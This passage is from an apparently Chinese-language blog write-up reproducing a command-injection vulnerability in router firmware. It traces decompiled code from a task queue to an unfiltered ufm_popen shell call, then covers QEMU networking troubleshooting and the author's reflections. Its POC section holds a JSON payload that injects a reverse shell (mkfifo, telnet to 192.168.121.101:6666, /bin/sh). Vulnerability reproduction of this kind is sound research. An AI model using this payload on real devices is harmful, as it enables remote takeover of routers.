  • dword_4360A4 是当前队列的长度。将其值存储在 v21 中。

更新新任务的 prev 指针

1
*(_DWORD *)(v7 + 64) = v20;
  • 假设任务结构的第 64 字节处存储的是指向前一个任务的指针。
  • 将这个位置设置为之前的队列头,即 v20

更新之前头任务的 next 指针

1
*v20 = v7 + 60;
  • 将之前队列头任务的 next 指针更新为新任务的 next 指针位置,即 v7 + 60

更新队列长度

1
dword_4360A4 = v21 + 1;
  • 增加队列长度 dword_4360A4 的值。

设置任务状态

1
*(_BYTE *)(v7 + 32) = v3;
  • 假设任务结构的第 32 字节处存储的是任务状态。
  • 将这个位置设置为参数 v3 的值。

初始化信号量(如果需要)

1
2
if (!v3)
sem_init(v7 + 36, 0, 0);
  • 如果 v3 为 0,则初始化任务结构的第 36 字节处的信号量。

解锁互斥锁

1
pthread_mutex_unlock(&unk_4360B8);
  • 解锁之前加的互斥锁 unk_4360B8

释放信号量

1
sem_post(&unk_4360A8);
  • 释放信号量 unk_4360A8,表示有新任务加入队列。

返回新任务的指针

1
return v7;
  • 返回新分配的任务结构的基地址 v7

注意到最后使用sem_post的原子操作,将信号量加上了1。因此,应该会有其他地方在检测到信号量发生改变后,对数据进行处理

意味着其他地方应该是有sem_wait阻塞了一个线程的执行

  • sem_wait 用于等待信号量。如果信号量的值为零,它会阻塞直到信号量的值大于零。
  • sem_post 用于释放信号量,将信号量的值加一,并唤醒等待的线程(如果有)。
  • 主要是实现线程间的同步和互斥,确保程序安全运行

对其进行交叉引用发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall __noreturn sub_41AFC8(int a1)
{
int v2; // $v0
int v3; // $v0
int v4; // $s0
int v5; // $a0

pthread_setcanceltype(1, 0);
v2 = pthread_self();
pthread_detach(v2);
prctl(15, "exec_cmd_task");
*(_BYTE *)(a1 + 8) = 0;
while ( 1 )
{
do
{
sem_wait(&unk_4360A8);
pthread_mutex_lock(4415672);
v3 = commit_task_head;
if ( (int *)commit_task_head == &commit_task_head )
{
v4 = 0;
}
else
{
v4 = commit_task_head - 60;
*(_DWORD *)(*(_DWORD *)commit_task_head + 4) = *(_DWORD *)(commit_task_head + 4);
**(_DWORD **)(v3 + 4) = *(_DWORD *)v3;
*(_DWORD *)(v3 + 4) = 0;
*(_DWORD *)v3 = 0;
--dword_4360A4;
}
pthread_mutex_unlock(&unk_4360B8);
*(_DWORD *)(a1 + 12) = v4;
}
while ( !v4 );
*(_DWORD *)(a1 + 4) = dword_4360A0;
*(_BYTE *)(a1 + 8) = 1;
sub_41ADF0(v4);
*(_BYTE *)(a1 + 8) = 0;
if ( *(_BYTE *)(v4 + 32) )
{
v5 = *(_DWORD *)(v4 + 52);
if ( v5 )
free(v5);
sub_41AD10(v4);
}
else
{
sem_post(v4 + 36);
}
*(_DWORD *)(a1 + 12) = 0;
}
}

从sub_41AFC8函数中找到他的sem_wait函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __fastcall sub_41ADF0(_DWORD *a1)
{
int v1; // $v0
int result; // $v0
_DWORD *v3; // $v1
char v4[128]; // [sp+20h] [-8Ch] BYREF
int v5; // [sp+A0h] [-Ch]

v1 = *a1;
if ( *a1 )
{
if ( (a1[5] & 2) == 0 )
{
result = (*(int (__fastcall **)(_DWORD *, _DWORD *))(v1 + 68))(a1 + 1, a1 + 13);
v3 = a1;
LABEL_9:
v3[14] = result;
return result;
}
v5 = v1 + 76;
pthread_mutex_lock(v1 + 76);
if ( _sigsetjmp(v4, 0) )
{
pthread_mutex_unlock(v5);
_pthread_unwind_next(v4);
}
_pthread_register_cancel(v4);
if ( *a1 )
{
a1[14] = (*(int (__fastcall **)(_DWORD *, _DWORD *))(*a1 + 68))(a1 + 1, a1 + 13);
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)backgroup exec end[%s]",
"ufm_thd.c",
"exec_commit",
220,
(const char *)(*a1 + 4));
}
pthread_mutex_unlock(v5);
return _pthread_unregister_cancel(v4);
}
else
{
if ( !*((_BYTE *)a1 + 32) )
{
result = ufm_popen((const char *)a1[7], a1 + 13);
v3 = a1;
goto LABEL_9;
}
uf_fork_as(a1[7]);
result = 231;
if ( g_debug >= 2 )
return uf_log_printf(uf_log, "(%s %s %d)uf_fork_as [%s]", "ufm_thd.c", "exec_commit", 231, (const char *)a1[7]);
}
return result;
}

发现这里有个ufm_popen函数,而a1[7]显然是偏移28的位置

可以看到

1
2
v19 = strdup(a2);
*(_DWORD *)(v7 + 28) = v19; // 将shell存在28的位置

在async_cmd_push_queue函数中早已将shell存到了当前的位置,因此执行该shell,且没有任何的过滤,到此二进制文件的分析就结束了,但是我还是有些许的疑问

POC

1
2
3
4
5
6
{
"method": "merge",
"params": {
"sorry": "'$(mkfifo /tmp/test;telnet 192.168.121.101 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

疑问&解决

为什么主机和qemu无法通信?

首先问题算是一种特殊情况,因为tap0分配了两个ipv4地址,导致冲突

1
sudo ip addr show tap0

查看完后任意删除一个地址即可通信了,可能是重复配置的原因吧

结语

这个漏洞是我复现的第二个漏洞,收获很多,第一次感受到路由器的组成,不过还是有着许多的坎坷,感受到了winmt师傅的强大,只能说连复现都那么坎坷,那如何寻找漏洞呢,这次复现给了我一个思路便是从可控字段出发,然后再从shell执行返回,找到交汇点,看起来在iot上我还有很多的路要走

参考文章

https://zikh26.github.io/posts/e5651b4f.html

https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

https://zhuanlan.zhihu.com/p/437933584